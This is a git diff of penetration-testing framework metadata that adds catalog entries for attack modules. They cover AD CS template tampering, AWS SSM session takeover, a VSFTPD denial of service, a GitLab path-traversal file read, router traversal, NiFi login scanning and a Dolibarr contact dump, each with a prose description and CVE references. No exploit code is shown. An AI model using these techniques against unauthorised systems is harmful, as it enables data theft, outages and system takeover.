+ "V3_3_9_SNAPSHOT",
+ "V3_3_9",
+ "V3_4_1_SNAPSHOT",
+ "V3_4_1",
+ "V3_4_2_SNAPSHOT",
+ "V3_4_2",
+ "V3_4_3_SNAPSHOT",
+ "V3_4_3",
+ "V3_4_4_SNAPSHOT",
+ "V3_4_4",
+ "V3_4_5_SNAPSHOT",
+ "V3_4_5",
+ "V3_4_6_SNAPSHOT",
+ "V3_4_6",
+ "V3_4_7_SNAPSHOT",
+ "V3_4_7",
+ "V3_4_8_SNAPSHOT",
+ "V3_4_8",
+ "V3_4_9_SNAPSHOT",
+ "V3_4_9",
+ "V3_5_1_SNAPSHOT",
+ "V3_5_1",
+ "V3_5_2_SNAPSHOT",
+ "V3_5_2",
+ "V3_5_3_SNAPSHOT",
+ "V3_5_3",
+ "V3_5_4_SNAPSHOT",
+ "V3_5_4",
+ "V3_5_5_SNAPSHOT",
+ "V3_5_5",
+ "V3_5_6_SNAPSHOT",
+ "V3_5_6",
+ "V3_5_7_SNAPSHOT",
+ "V3_5_7",
+ "V3_5_8_SNAPSHOT",
+ "V3_5_8",
+ "V3_5_9_SNAPSHOT",
+ "V3_5_9",
+ "V3_6_1_SNAPSHOT",
+ "V3_6_1",
+ "V3_6_2_SNAPSHOT",
+ "V3_6_2",
+ "V3_6_3_SNAPSHOT",
+ "V3_6_3",
+ "V3_6_4_SNAPSHOT",
+ "V3_6_4",
+ "V3_6_5_SNAPSHOT",
+ "V3_6_5",
+ "V3_6_6_SNAPSHOT",
+ "V3_6_6",
+ "V3_6_7_SNAPSHOT",
+ "V3_6_7",
+ "V3_6_8_SNAPSHOT",
+ "V3_6_8",
+ "V3_6_9_SNAPSHOT",
+ "V3_6_9",
+ "V3_7_1_SNAPSHOT",
+ "V3_7_1",
+ "V3_7_2_SNAPSHOT",
+ "V3_7_2",
+ "V3_7_3_SNAPSHOT",
+ "V3_7_3",
+ "V3_7_4_SNAPSHOT",
+ "V3_7_4",
+ "V3_7_5_SNAPSHOT",
+ "V3_7_5",
+ "V3_7_6_SNAPSHOT",
+ "V3_7_6",
+ "V3_7_7_SNAPSHOT",
+ "V3_7_7",
+ "V3_7_8_SNAPSHOT",
+ "V3_7_8",
+ "V3_7_9_SNAPSHOT",
+ "V3_7_9",
+ "V3_8_1_SNAPSHOT",
+ "V3_8_1",
+ "V3_8_2_SNAPSHOT",
+ "V3_8_2",
+ "V3_8_3_SNAPSHOT",
+ "V3_8_3",
+ "V3_8_4_SNAPSHOT",
+ "V3_8_4",
+ "V3_8_5_SNAPSHOT",
+ "V3_8_5",
+ "V3_8_6_SNAPSHOT",
+ "V3_8_6",
+ "V3_8_7_SNAPSHOT",
+ "V3_8_7",
+ "V3_8_8_SNAPSHOT",
+ "V3_8_8",
+ "V3_8_9_SNAPSHOT",
+ "V3_8_9",
+ "V3_9_1_SNAPSHOT",
+ "V3_9_1",
+ "V3_9_2_SNAPSHOT",
+ "V3_9_2",
+ "V3_9_3_SNAPSHOT",
+ "V3_9_3",
+ "V3_9_4_SNAPSHOT",
+ "V3_9_4",
+ "V3_9_5_SNAPSHOT",
+ "V3_9_5",
+ "V3_9_6_SNAPSHOT",
+ "V3_9_6",
+ "V3_9_7_SNAPSHOT",
+ "V3_9_7",
+ "V3_9_8_SNAPSHOT",
+ "V3_9_8",
+ "V3_9_9_SNAPSHOT",
+ "V3_9_9",
+ "V4_0_0_SNAPSHOT",
+ "V4_0_0",
+ "V4_0_1_SNAPSHOT",
+ "V4_0_1",
+ "V4_0_2_SNAPSHOT",
+ "V4_0_2",
+ "V4_0_3_SNAPSHOT",
+ "V4_0_3",
+ "V4_0_4_SNAPSHOT",
+ "V4_0_4",
+ "V4_0_5_SNAPSHOT",
+ "V4_0_5",
+ "V4_0_6_SNAPSHOT",
+ "V4_0_6",
+ "V4_0_7_SNAPSHOT",
+ "V4_0_7",
+ "V4_0_8_SNAPSHOT",
+ "V4_0_8",
+ "V4_0_9_SNAPSHOT",
+ "V4_0_9",
+ "V4_1_0_SNAPSHOT",
+ "V4_1_0",
+ "V4_1_1_SNAPSHOT",
+ "V4_1_1",
+ "V4_1_2_SNAPSHOT",
+ "V4_1_2",
+ "V4_1_3_SNAPSHOT",
+ "V4_1_3",
+ "V4_1_4_SNAPSHOT",
+ "V4_1_4",
+ "V4_1_5_SNAPSHOT",
+ "V4_1_5",
+ "V4_1_6_SNAPSHOT",
+ "V4_1_6",
+ "V4_1_7_SNAPSHOT",
+ "V4_1_7",
+ "V4_1_8_SNAPSHOT",
+ "V4_1_8",
+ "V4_1_9_SNAPSHOT",
+ "V4_1_9",
+ "V4_2_0_SNAPSHOT",
+ "V4_2_0",
+ "V4_2_1_SNAPSHOT",
+ "V4_2_1",
+ "V4_2_2_SNAPSHOT",
+ "V4_2_2",
+ "V4_2_3_SNAPSHOT",
+ "V4_2_3",
+ "V4_2_4_SNAPSHOT",
+ "V4_2_4",
+ "V4_2_5_SNAPSHOT",
+ "V4_2_5",
+ "V4_2_6_SNAPSHOT",
+ "V4_2_6",
+ "V4_2_7_SNAPSHOT",
+ "V4_2_7",
+ "V4_2_8_SNAPSHOT",
+ "V4_2_8",
+ "V4_2_9_SNAPSHOT",
+ "V4_2_9",
+ "V4_3_0_SNAPSHOT",
+ "V4_3_0",
+ "V4_3_1_SNAPSHOT",
+ "V4_3_1",
+ "V4_3_2_SNAPSHOT",
+ "V4_3_2",
+ "V4_3_3_SNAPSHOT",
+ "V4_3_3",
+ "V4_3_4_SNAPSHOT",
+ "V4_3_4",
+ "V4_3_5_SNAPSHOT",
+ "V4_3_5",
+ "V4_3_6_SNAPSHOT",
+ "V4_3_6",
+ "V4_3_7_SNAPSHOT",
+ "V4_3_7",
+ "V4_3_8_SNAPSHOT",
+ "V4_3_8",
+ "V4_3_9_SNAPSHOT",
+ "V4_3_9",
+ "V4_4_0_SNAPSHOT",
+ "V4_4_0",
+ "V4_4_1_SNAPSHOT",
+ "V4_4_1",
+ "V4_4_2_SNAPSHOT",
+ "V4_4_2",
+ "V4_4_3_SNAPSHOT",
+ "V4_4_3",
+ "V4_4_4_SNAPSHOT",
+ "V4_4_4",
+ "V4_4_5_SNAPSHOT",
+ "V4_4_5",
+ "V4_4_6_SNAPSHOT",
+ "V4_4_6",
+ "V4_4_7_SNAPSHOT",
+ "V4_4_7",
+ "V4_4_8_SNAPSHOT",
+ "V4_4_8",
+ "V4_4_9_SNAPSHOT",
+ "V4_4_9",
+ "V4_5_0_SNAPSHOT",
+ "V4_5_0",
+ "V4_5_1_SNAPSHOT",
+ "V4_5_1",
+ "V4_5_2_SNAPSHOT",
+ "V4_5_2",
+ "V4_5_3_SNAPSHOT",
+ "V4_5_3",
+ "V4_5_4_SNAPSHOT",
+ "V4_5_4",
+ "V4_5_5_SNAPSHOT",
+ "V4_5_5",
+ "V4_5_6_SNAPSHOT",
+ "V4_5_6",
+ "V4_5_7_SNAPSHOT",
+ "V4_5_7",
+ "V4_5_8_SNAPSHOT",
+ "V4_5_8",
+ "V4_5_9_SNAPSHOT",
+ "V4_5_9",
+ "V4_6_0_SNAPSHOT",
+ "V4_6_0",
+ "V4_6_1_SNAPSHOT",
+ "V4_6_1",
+ "V4_6_2_SNAPSHOT",
+ "V4_6_2",
+ "V4_6_3_SNAPSHOT",
+ "V4_6_3",
+ "V4_6_4_SNAPSHOT",
+ "V4_6_4",
+ "V4_6_5_SNAPSHOT",
+ "V4_6_5",
+ "V4_6_6_SNAPSHOT",
+ "V4_6_6",
+ "V4_6_7_SNAPSHOT",
+ "V4_6_7",
+ "V4_6_8_SNAPSHOT",
+ "V4_6_8",
+ "V4_6_9_SNAPSHOT",
+ "V4_6_9",
+ "V4_7_0_SNAPSHOT",
+ "V4_7_0",
+ "V4_7_1_SNAPSHOT",
+ "V4_7_1",
+ "V4_7_2_SNAPSHOT",
+ "V4_7_2",
+ "V4_7_3_SNAPSHOT",
+ "V4_7_3",
+ "V4_7_4_SNAPSHOT",
+ "V4_7_4",
+ "V4_7_5_SNAPSHOT",
+ "V4_7_5",
+ "V4_7_6_SNAPSHOT",
+ "V4_7_6",
+ "V4_7_7_SNAPSHOT",
+ "V4_7_7",
+ "V4_7_8_SNAPSHOT",
+ "V4_7_8",
+ "V4_7_9_SNAPSHOT",
+ "V4_7_9",
+ "V4_8_0_SNAPSHOT",
+ "V4_8_0",
+ "V4_8_1_SNAPSHOT",
+ "V4_8_1",
+ "V4_8_2_SNAPSHOT",
+ "V4_8_2",
+ "V4_8_3_SNAPSHOT",
+ "V4_8_3",
+ "V4_8_4_SNAPSHOT",
+ "V4_8_4",
+ "V4_8_5_SNAPSHOT",
+ "V4_8_5",
+ "V4_8_6_SNAPSHOT",
+ "V4_8_6",
+ "V4_8_7_SNAPSHOT",
+ "V4_8_7",
+ "V4_8_8_SNAPSHOT",
+ "V4_8_8",
+ "V4_8_9_SNAPSHOT",
+ "V4_8_9",
+ "V4_9_0_SNAPSHOT",
+ "V4_9_0",
+ "V4_9_1_SNAPSHOT",
+ "V4_9_1",
+ "V4_9_2_SNAPSHOT",
+ "V4_9_2",
+ "V4_9_3_SNAPSHOT",
+ "V4_9_3",
+ "V4_9_4_SNAPSHOT",
+ "V4_9_4",
+ "V4_9_5_SNAPSHOT",
+ "V4_9_5",
+ "V4_9_6_SNAPSHOT",
+ "V4_9_6",
+ "V4_9_7_SNAPSHOT",
+ "V4_9_7",
+ "V4_9_8_SNAPSHOT",
+ "V4_9_8",
+ "V4_9_9_SNAPSHOT",
+ "V4_9_9",
+ "V5_0_0_SNAPSHOT",
+ "V5_0_0",
+ "V5_0_1_SNAPSHOT",
+ "V5_0_1",
+ "V5_0_2_SNAPSHOT",
+ "V5_0_2",
+ "V5_0_3_SNAPSHOT",
+ "V5_0_3",
+ "V5_0_4_SNAPSHOT",
+ "V5_0_4",
+ "V5_0_5_SNAPSHOT",
+ "V5_0_5",
+ "V5_0_6_SNAPSHOT",
+ "V5_0_6",
+ "V5_0_7_SNAPSHOT",
+ "V5_0_7",
+ "V5_0_8_SNAPSHOT",
+ "V5_0_8",
+ "V5_0_9_SNAPSHOT",
+ "V5_0_9",
+ "V5_1_0_SNAPSHOT",
+ "V5_1_0",
+ "V5_1_1_SNAPSHOT",
+ "V5_1_1",
+ "V5_1_2_SNAPSHOT",
+ "V5_1_2",
+ "V5_1_3_SNAPSHOT",
+ "V5_1_3",
+ "V5_1_4_SNAPSHOT",
+ "V5_1_4",
+ "V5_1_5_SNAPSHOT",
+ "V5_1_5",
+ "V5_1_6_SNAPSHOT",
+ "V5_1_6",
+ "V5_1_7_SNAPSHOT",
+ "V5_1_7",
+ "V5_1_8_SNAPSHOT",
+ "V5_1_8",
+ "V5_1_9_SNAPSHOT",
+ "V5_1_9",
+ "V5_2_0_SNAPSHOT",
+ "V5_2_0",
+ "V5_2_1_SNAPSHOT",
+ "V5_2_1",
+ "V5_2_2_SNAPSHOT",
+ "V5_2_2",
+ "V5_2_3_SNAPSHOT",
+ "V5_2_3",
+ "V5_2_4_SNAPSHOT",
+ "V5_2_4",
+ "V5_2_5_SNAPSHOT",
+ "V5_2_5",
+ "V5_2_6_SNAPSHOT",
+ "V5_2_6",
+ "V5_2_7_SNAPSHOT",
+ "V5_2_7",
+ "V5_2_8_SNAPSHOT",
+ "V5_2_8",
+ "V5_2_9_SNAPSHOT",
+ "V5_2_9",
+ "V5_3_0_SNAPSHOT",
+ "V5_3_0",
+ "V5_3_1_SNAPSHOT",
+ "V5_3_1",
+ "V5_3_2_SNAPSHOT",
+ "V5_3_2",
+ "V5_3_3_SNAPSHOT",
+ "V5_3_3",
+ "V5_3_4_SNAPSHOT",
+ "V5_3_4",
+ "V5_3_5_SNAPSHOT",
+ "V5_3_5",
+ "V5_3_6_SNAPSHOT",
+ "V5_3_6",
+ "V5_3_7_SNAPSHOT",
+ "V5_3_7",
+ "V5_3_8_SNAPSHOT",
+ "V5_3_8",
+ "V5_3_9_SNAPSHOT",
+ "V5_3_9",
+ "V5_4_0_SNAPSHOT",
+ "V5_4_0",
+ "V5_4_1_SNAPSHOT",
+ "V5_4_1",
+ "V5_4_2_SNAPSHOT",
+ "V5_4_2",
+ "V5_4_3_SNAPSHOT",
+ "V5_4_3",
+ "V5_4_4_SNAPSHOT",
+ "V5_4_4",
+ "V5_4_5_SNAPSHOT",
+ "V5_4_5",
+ "V5_4_6_SNAPSHOT",
+ "V5_4_6",
+ "V5_4_7_SNAPSHOT",
+ "V5_4_7",
+ "V5_4_8_SNAPSHOT",
+ "V5_4_8",
+ "V5_4_9_SNAPSHOT",
+ "V5_4_9",
+ "V5_5_0_SNAPSHOT",
+ "V5_5_0",
+ "V5_5_1_SNAPSHOT",
+ "V5_5_1",
+ "V5_5_2_SNAPSHOT",
+ "V5_5_2",
+ "V5_5_3_SNAPSHOT",
+ "V5_5_3",
+ "V5_5_4_SNAPSHOT",
+ "V5_5_4",
+ "V5_5_5_SNAPSHOT",
+ "V5_5_5",
+ "V5_5_6_SNAPSHOT",
+ "V5_5_6",
+ "V5_5_7_SNAPSHOT",
+ "V5_5_7",
+ "V5_5_8_SNAPSHOT",
+ "V5_5_8",
+ "V5_5_9_SNAPSHOT",
+ "V5_5_9",
+ "V5_6_0_SNAPSHOT",
+ "V5_6_0",
+ "V5_6_1_SNAPSHOT",
+ "V5_6_1",
+ "V5_6_2_SNAPSHOT",
+ "V5_6_2",
+ "V5_6_3_SNAPSHOT",
+ "V5_6_3",
+ "V5_6_4_SNAPSHOT",
+ "V5_6_4",
+ "V5_6_5_SNAPSHOT",
+ "V5_6_5",
+ "V5_6_6_SNAPSHOT",
+ "V5_6_6",
+ "V5_6_7_SNAPSHOT",
+ "V5_6_7",
+ "V5_6_8_SNAPSHOT",
+ "V5_6_8",
+ "V5_6_9_SNAPSHOT",
+ "V5_6_9",
+ "V5_7_0_SNAPSHOT",
+ "V5_7_0",
+ "V5_7_1_SNAPSHOT",
+ "V5_7_1",
+ "V5_7_2_SNAPSHOT",
+ "V5_7_2",
+ "V5_7_3_SNAPSHOT",
+ "V5_7_3",
+ "V5_7_4_SNAPSHOT",
+ "V5_7_4",
+ "V5_7_5_SNAPSHOT",
+ "V5_7_5",
+ "V5_7_6_SNAPSHOT",
+ "V5_7_6",
+ "V5_7_7_SNAPSHOT",
+ "V5_7_7",
+ "V5_7_8_SNAPSHOT",
+ "V5_7_8",
+ "V5_7_9_SNAPSHOT",
+ "V5_7_9",
+ "V5_8_0_SNAPSHOT",
+ "V5_8_0",
+ "V5_8_1_SNAPSHOT",
+ "V5_8_1",
+ "V5_8_2_SNAPSHOT",
+ "V5_8_2",
+ "V5_8_3_SNAPSHOT",
+ "V5_8_3",
+ "V5_8_4_SNAPSHOT",
+ "V5_8_4",
+ "V5_8_5_SNAPSHOT",
+ "V5_8_5",
+ "V5_8_6_SNAPSHOT",
+ "V5_8_6",
+ "V5_8_7_SNAPSHOT",
+ "V5_8_7",
+ "V5_8_8_SNAPSHOT",
+ "V5_8_8",
+ "V5_8_9_SNAPSHOT",
+ "V5_8_9",
+ "V5_9_0_SNAPSHOT",
+ "V5_9_0",
+ "V5_9_1_SNAPSHOT",
+ "V5_9_1",
+ "V5_9_2_SNAPSHOT",
+ "V5_9_2",
+ "V5_9_3_SNAPSHOT",
+ "V5_9_3",
+ "V5_9_4_SNAPSHOT",
+ "V5_9_4",
+ "V5_9_5_SNAPSHOT",
+ "V5_9_5",
+ "V5_9_6_SNAPSHOT",
+ "V5_9_6",
+ "V5_9_7_SNAPSHOT",
+ "V5_9_7",
+ "V5_9_8_SNAPSHOT",
+ "V5_9_8",
+ "V5_9_9_SNAPSHOT",
+ "V5_9_9",
+ "HIGHER_VERSION"
+ ]
\ No newline at end of file
diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index 46d02820601a1..5a5888bb709d3 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -5408,7 +5408,7 @@
],
"targets": null,
- "mod_time": "2023-03-08 16:15:24 +0000",
+ "mod_time": "2023-06-13 09:14:06 +0000",
"path": "/modules/auxiliary/admin/kerberos/keytab.rb",
"is_install_path": true,
"ref_name": "admin/kerberos/keytab",
@@ -5527,6 +5527,57 @@
"session_types": false,
"needs_cleanup": false
},
+ "auxiliary_admin/ldap/ad_cs_cert_template": {
+ "name": "AD CS Certificate Template Management",
+ "fullname": "auxiliary/admin/ldap/ad_cs_cert_template",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": null,
+ "type": "auxiliary",
+ "author": [
+ "Will Schroeder",
+ "Lee Christensen",
+ "Oliver Lyak",
+ "Spencer McIntyre"
+ ],
+ "description": "This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain\n Controller.\n\n The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be\n restored using the CREATE or UPDATE actions.",
+ "references": [
+ "URL-https://github.com/GhostPack/Certify",
+ "URL-https://github.com/ly4k/Certipy"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 389,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": null,
+ "mod_time": "2023-05-04 09:17:16 +0000",
+ "path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb",
+ "is_install_path": true,
+ "ref_name": "admin/ldap/ad_cs_cert_template",
+ "check": false,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+
+ ],
+ "SideEffects": [
+ "config-changes"
+ ],
+ "Reliability": [
+
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false
+ },
"auxiliary_admin/ldap/rbcd": {
"name": "Role Base Constrained Delegation",
"fullname": "auxiliary/admin/ldap/rbcd",
@@ -10793,6 +10844,53 @@
"session_types": false,
"needs_cleanup": false
},
+ "auxiliary_cloud/aws/enum_ssm": {
+ "name": "Amazon Web Services EC2 instance enumeration",
+ "fullname": "auxiliary/cloud/aws/enum_ssm",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": null,
+ "type": "auxiliary",
+ "author": [
+ "RageLtMan "
+ ],
+ "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all SSM-enabled EC2 instances\n accessible to the account. Once enumerated as SSM-enabled, the\n instances can be controlled using out-of-band WebSocket sessions\n provided by the AWS API (nominally, privileged out of the box).\n This module provides not only the API enumeration identifying EC2\n instances accessible via SSM with given credentials, but enables\n session initiation for all identified targets (without requiring\n target-level credentials) using the CreateSession mixin option.\n The module also provides an EC2 ID filter and a limiting throttle\n to prevent session stampedes or expensive messes.",
+ "references": [
+
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": null,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": null,
+ "mod_time": "2023-05-22 17:11:16 +0000",
+ "path": "/modules/auxiliary/cloud/aws/enum_ssm.rb",
+ "is_install_path": true,
+ "ref_name": "cloud/aws/enum_ssm",
+ "check": false,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "SideEffects": [
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+
+ ],
+ "Stability": [
+ "crash-safe"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false
+ },
"auxiliary_cloud/kubernetes/enum_kubernetes": {
"name": "Kubernetes Enumeration",
"fullname": "auxiliary/cloud/kubernetes/enum_kubernetes",
@@ -11382,6 +11480,59 @@
"session_types": false,
"needs_cleanup": false
},
+ "auxiliary_dos/ftp/vsftpd_232": {
+ "name": "VSFTPD 2.3.2 Denial of Service",
+ "fullname": "auxiliary/dos/ftp/vsftpd_232",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "2011-02-03",
+ "type": "auxiliary",
+ "author": [
+ "Nick Cottrell (Rad10Logic) ",
+ "Anna Graterol ",
+ "Mana Mostaani ",
+ "Maksymilian Arciemowicz"
+ ],
+ "description": "This module triggers a Denial of Service condition in the VSFTPD server in\n versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2.",
+ "references": [
+ "BID-46617",
+ "CVE-2011-0762",
+ "EDB-16270"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 21,
+ "autofilter_ports": [
+ 21,
+ 2121
+ ],
+ "autofilter_services": [
+ "ftp"
+ ],
+ "targets": null,
+ "mod_time": "2023-05-25 21:21:49 +0000",
+ "path": "/modules/auxiliary/dos/ftp/vsftpd_232.rb",
+ "is_install_path": true,
+ "ref_name": "dos/ftp/vsftpd_232",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-service-down"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false
+ },
"auxiliary_dos/hp/data_protector_rds": {
"name": "HP Data Protector Manager RDS DOS",
"fullname": "auxiliary/dos/hp/data_protector_rds",
@@ -19110,6 +19261,67 @@
"session_types": false,
"needs_cleanup": false
},
+ "auxiliary_gather/gitlab_authenticated_subgroups_file_read": {
+ "name": "GitLab Authenticated File Read",
+ "fullname": "auxiliary/gather/gitlab_authenticated_subgroups_file_read",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "2023-05-23",
+ "type": "auxiliary",
+ "author": [
+ "h00die",
+ "pwnie",
+ "Vitellozzo"
+ ],
+ "description": "GitLab version 16.0 contains a directory traversal for arbitrary file read\n as the `gitlab-www` user. This module requires authentication for exploitation.\n In order to use this module, a user must be able to create a project and groups.\n When exploiting this vulnerability, there is a direct correlation between the traversal\n depth, and the depth of groups the vulnerable project is in. The minimum for this seems\n to be 5, but up to 11 have also been observed. An example of this, is if the directory\n traversal needs a depth of 11, a group\n and 10 nested child groups, each a sub of the previous, will be created (adding up to 11).\n Visually this looks like:\n Group1->sub1->sub2->sub3->sub4->sub5->sub6->sub7->sub8->sub9->sub10.\n If the depth was 5, a group and 4 nested child groups would be created.\n With all these requirements satisfied a dummy file is uploaded, and the full\n traversal is then executed. Cleanup is performed by deleting the first group which\n cascades to deleting all other objects created.",
+ "references": [
+ "URL-https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/",
+ "URL-https://github.com/Occamsec/CVE-2023-2825",
+ "URL-https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/",
+ "CVE-2023-2825"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2023-06-06 16:24:38 +0000",
+ "path": "/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb",
+ "is_install_path": true,
+ "ref_name": "gather/gitlab_authenticated_subgroups_file_read",
+ "check": true,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false
+ },
"auxiliary_gather/grandstream_ucm62xx_sql_account_guess": {
"name": "Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump",
"fullname": "auxiliary/gather/grandstream_ucm62xx_sql_account_guess",
@@ -19500,7 +19712,7 @@
"https"
],
"targets": null,
- "mod_time": "2020-10-02 17:38:06 +0000",
+ "mod_time": "2023-05-28 00:29:17 +0000",
"path": "/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb",
"is_install_path": true,
"ref_name": "gather/ibm_sametime_enumerate_users",
@@ -22184,6 +22396,65 @@
"session_types": false,
"needs_cleanup": false
},
+ "auxiliary_gather/tplink_archer_c7_traversal": {
+ "name": "Archer C7 Directory Traversal Vulnerability",
+ "fullname": "auxiliary/gather/tplink_archer_c7_traversal",
+ "aliases": [
+ "auxiliary/scanner/http/archer_c7_traversal"
+ ],
+ "rank": 300,
+ "disclosure_date": "2015-04-08",
+ "type": "auxiliary",
+ "author": [
+ "Nick Cottrell ",
+ "Anna Graterol ",
+ "Mana Mostaani "
+ ],
+ "description": "This module exploits a directory traversal vulnerability in the PATH_INFO found at /login/\n on TP-Link Archer C5, C7, and C9 routers of varying versions.",
+ "references": [
+ "BID-74050 ",
+ "CVE-2015-3035"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2023-06-02 16:32:37 +0000",
+ "path": "/modules/auxiliary/gather/tplink_archer_c7_traversal.rb",
+ "is_install_path": true,
+ "ref_name": "gather/tplink_archer_c7_traversal",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false
+ },
"auxiliary_gather/trackit_sql_domain_creds": {
"name": "BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure",
"fullname": "auxiliary/gather/trackit_sql_domain_creds",
@@ -25484,6 +25755,118 @@
"session_types": false,
"needs_cleanup": false
},
+ "auxiliary_scanner/http/apache_nifi_login": {
+ "name": "Apache NiFi Login Scanner",
+ "fullname": "auxiliary/scanner/http/apache_nifi_login",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": null,
+ "type": "auxiliary",
+ "author": [
+ "h00die"
+ ],
+ "description": "This module attempts to take login details for Apache NiFi websites\n and identify if they are valid or not.\n\n Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0\n Also works against NiFi <= 1.13.0, but the module needs to be adjusted:\n set SSL false\n set rport 8080",
+ "references": [
+
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 8443,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2023-05-31 10:34:10 +0000",
+ "path": "/modules/auxiliary/scanner/http/apache_nifi_login.rb",
+ "is_install_path": true,
+ "ref_name": "scanner/http/apache_nifi_login",
+ "check": false,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false
+ },
+ "auxiliary_scanner/http/apache_nifi_version": {
+ "name": "Apache NiFi Version Scanner",
+ "fullname": "auxiliary/scanner/http/apache_nifi_version",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": null,
+ "type": "auxiliary",
+ "author": [
+ "h00die"
+ ],
+ "description": "This module identifies Apache NiFi websites and reports their version number.\n\n Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.11.0-1.13.0\n Also works against NiFi <= 1.13.0, but the module needs to be adjusted:\n set SSL false\n set rport 8080",
+ "references": [
+
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 8443,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2023-05-26 15:47:22 +0000",
+ "path": "/modules/auxiliary/scanner/http/apache_nifi_version.rb",
+ "is_install_path": true,
+ "ref_name": "scanner/http/apache_nifi_version",
+ "check": false,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false
+ },
"auxiliary_scanner/http/apache_normalize_path": {
"name": "Apache 2.4.49/2.4.50 Traversal RCE scanner",
"fullname": "auxiliary/scanner/http/apache_normalize_path",
@@ -28290,6 +28673,66 @@
"session_types": false,
"needs_cleanup": false
},
+ "auxiliary_scanner/http/dolibarr_16_contact_dump": {
+ "name": "Dolibarr 16 pre-auth contact database dump",
+ "fullname": "auxiliary/scanner/http/dolibarr_16_contact_dump",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "2023-03-14",
+ "type": "auxiliary",
+ "author": [
+ "Vladimir TOUTAIN",
+ "Nolan LOSSIGNOL-DRILLIEN"
+ ],
+ "description": "Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump.\n An unauthenticated attacker may retreive a company’s entire customer file, prospects, suppliers,\n and potentially employee information if a contact file exists.\n Both public and private notes are also included in the dump.",
+ "references": [
+ "URL-https://www.dsecbypass.com/en/dolibarr-pre-auth-contact-database-dump/",
+ "URL-https://github.com/Dolibarr/dolibarr/blob/16.0.5/ChangeLog#L34",
+ "URL-https://github.com/Dolibarr/dolibarr/commit/bb7b69ef43673ed403436eac05e0bc31d5033ff7",
+ "URL-https://github.com/Dolibarr/dolibarr/commit/be82f51f68d738cce205f4ce5b469ef42ed82d9e"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
